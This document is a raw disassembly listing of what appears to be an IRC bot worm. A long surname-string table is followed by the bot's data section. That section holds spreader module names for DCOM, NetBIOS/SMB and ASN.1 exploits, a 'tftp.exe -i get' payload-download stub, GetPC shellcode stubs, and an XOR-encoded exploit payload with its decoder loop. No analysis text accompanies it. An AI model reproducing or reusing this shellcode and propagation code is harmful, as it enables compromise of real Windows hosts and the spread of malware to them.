align 10h
aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DDF0o
aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DDECo
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDE8o
align 10h
aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DDE4o
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DDE0o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DDDCo
aDavid db 'David',0 ; DATA XREF: ___:0042DDD8o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DDD4o
aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DDD0o
align 4
aDas db 'Das',0 ; DATA XREF: ___:0042DDCCo
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDC8o
aDapice db 'Dapice',0 ; DATA XREF: ___:0042DDC4o
align 4
aDante db 'Dante',0 ; DATA XREF: ___:0042DDC0o
align 4
aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DDBCo
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DDB8o
aDaly db 'Daly',0 ; DATA XREF: ___:0042DDB4o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DDB0o
align 10h
aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DDACo
aCyders db 'Cyders',0 ; DATA XREF: ___:0042DDA8o
align 10h
aCvek db 'Cvek',0 ; DATA XREF: ___:0042DDA4o
align 4
aCutler db 'Cutler',0 ; DATA XREF: ___:0042DDA0o
align 10h
aCurrier db 'Currier',0 ; DATA XREF: ___:0042DD9Co
aCui db 'Cui',0 ; DATA XREF: ___:0042DD98o
aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DD94o
aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DD90o
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DD8Co
aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DD88o
aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DD84o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DD80o
aCounter db 'Counter',0 ; DATA XREF: ___:0042DD7Co
aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042DD78o
align 4
aCornish db 'Cornish',0 ; DATA XREF: ___:0042DD74o
aCorey db 'Corey',0 ; DATA XREF: ___:0042DD70o
align 4
aConnors db 'Connors',0 ; DATA XREF: ___:0042DD6Co
aCondodina db 'Condodina',0 ; DATA XREF: ___:0042DD68o
align 4
aConcino db 'Concino',0 ; DATA XREF: ___:0042DD64o
aComstock db 'Comstock',0 ; DATA XREF: ___:0042DD60o
align 4
aCompton db 'Compton',0 ; DATA XREF: ___:0042DD58o
; ___:0042DD5Co
aCollis db 'Collis',0 ; DATA XREF: ___:0042DD54o
align 4
aCollard db 'Collard',0 ; DATA XREF: ___:0042DD50o
aColella db 'Colella',0 ; DATA XREF: ___:0042DD4Co
aColdren db 'Coldren',0 ; DATA XREF: ___:0042DD48o
aCoito db 'Coito',0 ; DATA XREF: ___:0042DD44o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042DD40o
aClow db 'Clow',0 ; DATA XREF: ___:0042DD3Co
align 4
aClifton db 'Clifton',0 ; DATA XREF: ___:0042DD38o
aClement db 'Clement',0 ; DATA XREF: ___:0042DD34o
aClark db 'Clark',0 ; DATA XREF: ___:0042DD30o
align 4
aClancy db 'Clancy',0 ; DATA XREF: ___:0042DD2Co
align 4
aClaffey db 'Claffey',0 ; DATA XREF: ___:0042DD28o
aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042DD24o
align 10h
aCicero db 'Cicero',0 ; DATA XREF: ___:0042DD20o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042DD1Co
align 4
aChurch db 'Church',0 ; DATA XREF: ___:0042DD18o
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042DD14o
align 4
aChu db 'Chu',0 ; DATA XREF: ___:0042DD10o
aChristopher db 'Christopher',0 ; DATA XREF: ___:0042DD0Co
aChristie db 'Christie',0 ; DATA XREF: ___:0042DD08o
align 4
aChristiano db 'Christiano',0 ; DATA XREF: ___:0042DD04o
align 10h
aChristian db 'Christian',0 ; DATA XREF: ___:0042DD00o
align 4
aChristenson db 'Christenson',0 ; DATA XREF: ___:0042DCFCo
aChinman db 'Chinman',0 ; DATA XREF: ___:0042DCF8o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042DCF4o
aChilds db 'Childs',0 ; DATA XREF: ___:0042DCF0o
align 4
aChildress db 'Childress',0 ; DATA XREF: ___:0042DCECo
align 10h
aChien db 'Chien',0 ; DATA XREF: ___:0042DCE8o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DCE4o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DCE0o
align 10h
aCherry db 'Cherry',0 ; DATA XREF: ___:0042DCDCo
align 4
aCheang db 'Cheang',0 ; DATA XREF: ___:0042DCD8o
align 10h
aCharles db 'Charles',0 ; DATA XREF: ___:0042DCD4o
aChapman db 'Chapman',0 ; DATA XREF: ___:0042DCD0o
aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DCCCo
aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DCC8o
align 4
aCavell db 'Cavell',0 ; DATA XREF: ___:0042DCC4o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DCC0o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DCBCo
align 4
aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DCB8o
align 4
aCase db 'Case',0 ; DATA XREF: ___:0042DCB4o
align 4
aCascio db 'Cascio',0 ; DATA XREF: ___:0042DCB0o
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DCACo
align 4
aCarper db 'Carper',0 ; DATA XREF: ___:0042DCA8o
align 10h
aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DCA4o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DCA0o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DC9Co
aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DC98o
align 4
aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DC94o
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DC90o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DC8Co
aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DC88o
aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DC84o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DC80o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DC7Co
align 4
aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DC78o
align 10h
aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DC74o
aCanley db 'Canley',0 ; DATA XREF: ___:0042DC70o
align 10h
aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DC6Co
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DC68o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DC64o
align 10h
aCage db 'Cage',0 ; DATA XREF: ___:0042DC60o
align 4
aByrd db 'Byrd',0 ; DATA XREF: ___:0042DC5Co
align 10h
aByerly db 'Byerly',0 ; DATA XREF: ___:0042DC58o
align 4
aByatt db 'Byatt',0 ; DATA XREF: ___:0042DC54o
align 10h
aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DC50o
aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DC4Co
align 4
aBurke db 'Burke',0 ; DATA XREF: ___:0042DC48o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DC44o
align 4
aBurden db 'Burden',0 ; DATA XREF: ___:0042DC40o
align 4
aBunton db 'Bunton',0 ; DATA XREF: ___:0042DC3Co
align 4
aBullard db 'Bullard',0 ; DATA XREF: ___:0042DC38o
aBudding db 'Budding',0 ; DATA XREF: ___:0042DC34o
aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DC30o
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DC2Co
aBrook db 'Brook',0 ; DATA XREF: ___:0042DC28o
align 4
aBroca db 'Broca',0 ; DATA XREF: ___:0042DC24o
align 4
aBritz db 'Britz',0 ; DATA XREF: ___:0042DC20o
align 4
aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DC1Co
aBridges db 'Bridges',0 ; DATA XREF: ___:0042DC18o
aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DC14o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DC0Co
; ___:0042DC10o
align 10h
aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DC08o
aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DC04o
align 10h
aBreed db 'Breed',0 ; DATA XREF: ___:0042DC00o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DBFCo
align 10h
aBradach db 'Bradach',0 ; DATA XREF: ___:0042DBF8o
aBradac db 'Bradac',0 ; DATA XREF: ___:0042DBF4o
align 10h
aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DBF0o
align 4
aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DBECo
align 4
aBoym db 'Boym',0 ; DATA XREF: ___:0042DBE8o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DBE4o
aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DBE0o
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DBDCo
align 4
aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DBD8o
align 10h
aBowers db 'Bowers',0 ; DATA XREF: ___:0042DBD4o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DBD0o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DBCCo
aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DBC8o
align 4
aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DBC4o
align 4
aBothman db 'Bothman',0 ; DATA XREF: ___:0042DBC0o
aBossi db 'Bossi',0 ; DATA XREF: ___:0042DBBCo
align 4
aBorden db 'Borden',0 ; DATA XREF: ___:0042DBB8o
align 4
aBorack db 'Borack',0 ; DATA XREF: ___:0042DBB4o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DBB0o
align 4
aBoone db 'Boone',0 ; DATA XREF: ___:0042DBACo
align 10h
aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DBA8o
align 4
aBook db 'Book',0 ; DATA XREF: ___:0042DBA4o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DBA0o
align 10h
aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DB9Co
align 4
aBonham db 'Bonham',0 ; DATA XREF: ___:0042DB98o
align 4
aBoner db 'Boner',0 ; DATA XREF: ___:0042DB94o
align 4
aBologna db 'Bologna',0 ; DATA XREF: ___:0042DB90o
aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DB8Co
align 10h
aBolick db 'Bolick',0 ; DATA XREF: ___:0042DB88o
align 4
aBolger db 'Bolger',0 ; DATA XREF: ___:0042DB84o
align 10h
aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DB80o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DB7Co
aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DB78o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DB74o
aBloch db 'Bloch',0 ; DATA XREF: ___:0042DB70o
align 10h
aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DB6Co
aBliss db 'Bliss',0 ; DATA XREF: ___:0042DB68o
align 10h
aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DB64o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DB60o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DB5Co
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DB58o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DB54o
align 4
aBisho db 'Bisho',0 ; DATA XREF: ___:0042DB50o
align 4
aBisema db 'Bisema',0 ; DATA XREF: ___:0042DB4Co
align 4
aBir db 'Bir',0 ; DATA XREF: ___:0042DB48o
aBinion db 'Binion',0 ; DATA XREF: ___:0042DB44o
align 10h
aBickel db 'Bickel',0 ; DATA XREF: ___:0042DB40o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DB3Co
align 4
aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DB38o
aBetti db 'Betti',0 ; DATA XREF: ___:0042DB34o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DB30o
align 4
aBernston db 'Bernston',0 ; DATA XREF: ___:0042DB2Co
align 10h
aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DB28o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DB24o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DB20o
align 4
aBergson db 'Bergson',0 ; DATA XREF: ___:0042DB1Co
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DB18o
align 10h
aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DB14o
align 4
aBellini db 'Bellini',0 ; DATA XREF: ___:0042DB10o
aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DB0Co
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DB08o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DB04o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DB00o
align 10h
aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DAFCo
align 4
aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DAF8o
align 4
aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DAF4o
aBedford db 'Bedford',0 ; DATA XREF: ___:0042DAF0o
aBeder db 'Beder',0 ; DATA XREF: ___:0042DAECo
align 10h
aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DAE8o
aBean db 'Bean',0 ; DATA XREF: ___:0042DAE4o
align 10h
aBeal db 'Beal',0 ; DATA XREF: ___:0042DAE0o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DADCo
align 10h
aBayo db 'Bayo',0 ; DATA XREF: ___:0042DAD8o
align 4
aBayles db 'Bayles',0 ; DATA XREF: ___:0042DAD4o
align 10h
aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DAD0o
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DACCo
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DAC8o
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DAC4o
align 10h
aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DAC0o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DABCo
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DAB8o
aBarry db 'Barry',0 ; DATA XREF: ___:0042DAB4o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DAB0o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DAACo
aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DAA8o
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DAA4o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DAA0o
aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DA9Co
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DA98o
align 4
aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DA94o
aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DA90o
align 4
aBanta db 'Banta',0 ; DATA XREF: ___:0042DA8Co
align 10h
aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DA88o
align 4
aBallew db 'Ballew',0 ; DATA XREF: ___:0042DA84o
align 10h
aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DA80o
align 4
aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DA7Co
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DA78o
align 10h
aBailar db 'Bailar',0 ; DATA XREF: ___:0042DA74o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DA70o
aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DA6Co
aBady db 'Bady',0 ; DATA XREF: ___:0042DA68o
align 10h
aBackus db 'Backus',0 ; DATA XREF: ___:0042DA64o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DA60o
align 4
aAzima db 'Azima',0 ; DATA XREF: ___:0042DA5Co
align 4
aAyling db 'Ayling',0 ; DATA XREF: ___:0042DA58o
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DA54o
aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DA50o
aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DA4Co
align 10h
aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DA48o
aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DA44o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DA40o
align 10h
aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DA3Co
align 4
aArky db 'Arky',0 ; DATA XREF: ___:0042DA38o
align 10h
aArjas db 'Arjas',0 ; DATA XREF: ___:0042DA34o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DA30o
align 4
aArellano db 'Arellano',0 ; DATA XREF: ___:0042DA2Co
align 10h
aArduini db 'Arduini',0 ; DATA XREF: ___:0042DA28o
aArbia db 'Arbia',0 ; DATA XREF: ___:0042DA24o
align 10h
aAntos db 'Antos',0 ; DATA XREF: ___:0042DA20o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DA1Co
aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DA18o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DA14o
align 4
aAndron db 'Andron',0 ; DATA XREF: ___:0042DA10o
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042DA0Co
align 4
aAndo db 'Ando',0 ; DATA XREF: ___:0042DA08o
align 10h
aAndel db 'Andel',0 ; DATA XREF: ___:0042DA04o
align 4
aAnand db 'Anand',0 ; DATA XREF: ___:0042DA00o
align 10h
aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D9FCo
align 4
aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D9F8o
align 10h
aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D9F4o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D9F0o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D9ECo
align 10h
aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D9E8o
aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D9E4o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D9E0o
align 10h
aAllison db 'Allison',0 ; DATA XREF: ___:0042D9DCo
aAleks db 'Aleks',0 ; DATA XREF: ___:0042D9D8o
align 10h
aAlda db 'Alda',0 ; DATA XREF: ___:0042D9D4o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D9D0o
align 10h
aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D9CCo
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D9C8o
align 10h
aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D9C4o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D9C0o
align 10h
aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D9BCo
align 4
aAddison db 'Addison',0 ; DATA XREF: ___:off_42D9B8o
aAdams db 'Adams',0 ; DATA XREF: ___:0042D9B4o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D9B0o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D9ACo
align 4
byte_431604 db 50h ; DATA XREF: ___:0040ABD9o
; ___:0040ABE6r
db 43h, 2 dup(0)
dword_431608 dd 7C7325h ; DATA XREF: ___:0040AC84o
dword_43160C dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AD8Eo
dword_431614 dd 3F3F3Fh ; DATA XREF: ___:loc_40AD85o
; sub_41AF2B:loc_41AFEEo
dword_431618 dd 334B32h ; DATA XREF: ___:0040AD7Eo
dword_43161C dd 5058h ; DATA XREF: ___:0040AD70o
; ___:0040AF7Co ...
dword_431620 dd 4B32h ; DATA XREF: ___:0040AD60o
; ___:0040AF6Co ...
dword_431624 dd 454Dh ; DATA XREF: ___:0040AD47o
; ___:0040AF53o ...
dword_431628 dd 3839h ; DATA XREF: ___:0040AD37o
; ___:0040AF43o ...
dword_43162C dd 544Eh ; DATA XREF: ___:0040AD27o
; ___:0040AF34o ...
dword_431630 dd 3539h ; DATA XREF: ___:0040AD19o
; ___:0040AF26o ...
dword_431634 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADD4+3Ao
dword_43163C dd 5D4D5Bh ; DATA XREF: sub_40ADD4+2Co
; sub_40ADD4+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADD4+18o
; sub_41870F+5o
align 4
aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: ___:0040B0C9o
align 4
a99 db '99',0 ; DATA XREF: ___:loc_40B08Bo
align 4
a0D db '0%d',0 ; DATA XREF: ___:0040B065o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: ___:0040B047o
; sub_41AD74+52o
off_43166C dd offset byte_4B4E55 ; DATA XREF: ___:0040B02Ao
dword_431670 dd 345053h ; DATA XREF: ___:0040B020o
dword_431674 dd 34h ; DATA XREF: ___:0040B014o
dword_431678 dd 335053h ; DATA XREF: ___:0040B007o
dword_43167C dd 33h ; DATA XREF: ___:0040AFF6o
dword_431680 dd 325053h ; DATA XREF: ___:0040AFE9o
dword_431684 dd 32h ; DATA XREF: ___:0040AFD8o
; =============== S U B R O U T I N E =======================================
sub_431688 proc near ; DATA XREF: ___:0040AFCBo
push ebx
push eax
xor [eax], eax
sub_431688 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_43168C dd 305053h ; DATA XREF: ___:0040AFADo
dword_431690 dd 4E55h ; DATA XREF: ___:loc_40AF91o
dword_431694 dd 3332h ; DATA XREF: ___:0040AF8Ao
; ---------------------------------------------------------------------------
loc_431698: ; DATA XREF: sub_40B2A6+C4o
jmp short loc_43169C
; ---------------------------------------------------------------------------
loc_43169A: ; CODE XREF: ___:loc_43169Cp
jmp short loc_4316A1
; ---------------------------------------------------------------------------
loc_43169C: ; CODE XREF: ___:loc_431698j
call loc_43169A
loc_4316A1: ; CODE XREF: ___:loc_43169Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_4316A6 dw 0FFFFh ; DATA XREF: sub_40B2A6+CCw
db 80h, 73h, 0Eh
byte_4316AB db 0FFh ; DATA XREF: sub_40B2A6+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_4316B0: ; DATA XREF: sub_40B2A6+A2o
jmp short loc_4316B4
; ---------------------------------------------------------------------------
loc_4316B2: ; CODE XREF: ___:loc_4316B4p
jmp short loc_4316B9
; ---------------------------------------------------------------------------
loc_4316B4: ; CODE XREF: ___:loc_4316B0j
call loc_4316B2
loc_4316B9: ; CODE XREF: ___:loc_4316B2j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_4316BD db 0FFh ; DATA XREF: sub_40B2A6+AAw
dw 7380h
db 0Ch
byte_4316C1 db 0FFh ; DATA XREF: sub_40B2A6+B0w
dw 0E243h
dd 0F9h
dword_4316C8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40B12F+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43172C dd 12h ; DATA XREF: sub_40B12F+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B12F+79o
aJ_0 db 'j',0
db 0E8h
dword_431745 dd 17h ; DATA XREF: sub_40B12F+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_43174C
retn
; ---------------------------------------------------------------------------
byte_43174C db 0E8h ; CODE XREF: ___:00431749j
dword_43174D dd 1 ; DATA XREF: sub_40B12F+45w
byte_431751 db 0, 6Ah, 0 ; DATA XREF: sub_40B12F+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_43175B dd 0FFFFFFEDh ; DATA XREF: sub_40B12F+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B63B+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B63B+35o
align 10h
aSym db 'sym',0 ; DATA XREF: sub_40C3D3+164o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA8E+30o
; ___:0040E21Ao ...
align 4
dd 5 dup(0)
dword_431808 dd 0B97h ; DATA XREF: sub_401AC7+1D32r
; sub_401AC7+1D5Ao ...
off_43180C dd offset sub_40EAB9 ; DATA XREF: sub_40C3D3+1E6r
dword_431810 dd 0 ; DATA XREF: sub_40B901+2Eo
; ___:0040D74Aw ...
dword_431814 dd 1 ; DATA XREF: sub_40BD7C+1Fr
dword_431818 dd 1 ; DATA XREF: sub_40BD7C+3B3r
dword_43181C dd 0 ; DATA XREF: sub_40BD7C+292r
aDcom135 db 'dcom135',0
dd 63440000h, 33316D6Fh, 35h, 5 dup(0)
dd 87h, 40DF3Dh, 0
dd 1, 2 dup(0)
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40EBEFh, 0
dd 2 dup(1), 0
aNet139 db 'net139',0
align 4
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40E977h, 0
dd 2 dup(1), 0
aNet445 db 'net445',0
align 4
dd 654E0000h, 69706174h, 353434h, 5 dup(0)
; ---------------------------------------------------------------------------
mov ebp, 77000001h
jmp near ptr word_431952
; ---------------------------------------------------------------------------
align 4
dd 2 dup(1), 0
aAsn445_0 db 'asn445',0
align 4
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D584h
db 2 dup(0)
word_431952 dw 0 ; CODE XREF: ___:0043190Dj
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D584h, 0
dd 2 dup(1), 0
aVncs db 'vncs',0
align 4
dd 54480000h, 562D5054h, 434Eh, 5 dup(0)
dd 170Ch, 41B641h, 5 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_1 db 'asn445',0
align 4
db 2 dup(0)
byte_431A2A db 1 ; DATA XREF: sub_401AC7:loc_403773r
; sub_401AC7+1CB6o
aDcom135_0 db 'dcom135',0
align 4
dd 79730100h, 6Dh, 0
dd 1, 2 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_431A5E
; =============== S U B R O U T I N E =======================================
sub_431A4E proc near ; CODE XREF: sub_431A4E:loc_431A5Ep
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_431A56: ; CODE XREF: sub_431A4E+Cj
xor byte ptr [edx+ecx], 99h
loop loc_431A56
jmp short loc_431A63
; ---------------------------------------------------------------------------
loc_431A5E: ; CODE XREF: ___:00431A4Cj
call sub_431A4E
loc_431A63: ; CODE XREF: sub_431A4E+Ej
jo short near ptr dword_4319E4+1Ah
cwde
cdq
cdq
retn
sub_431A4E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
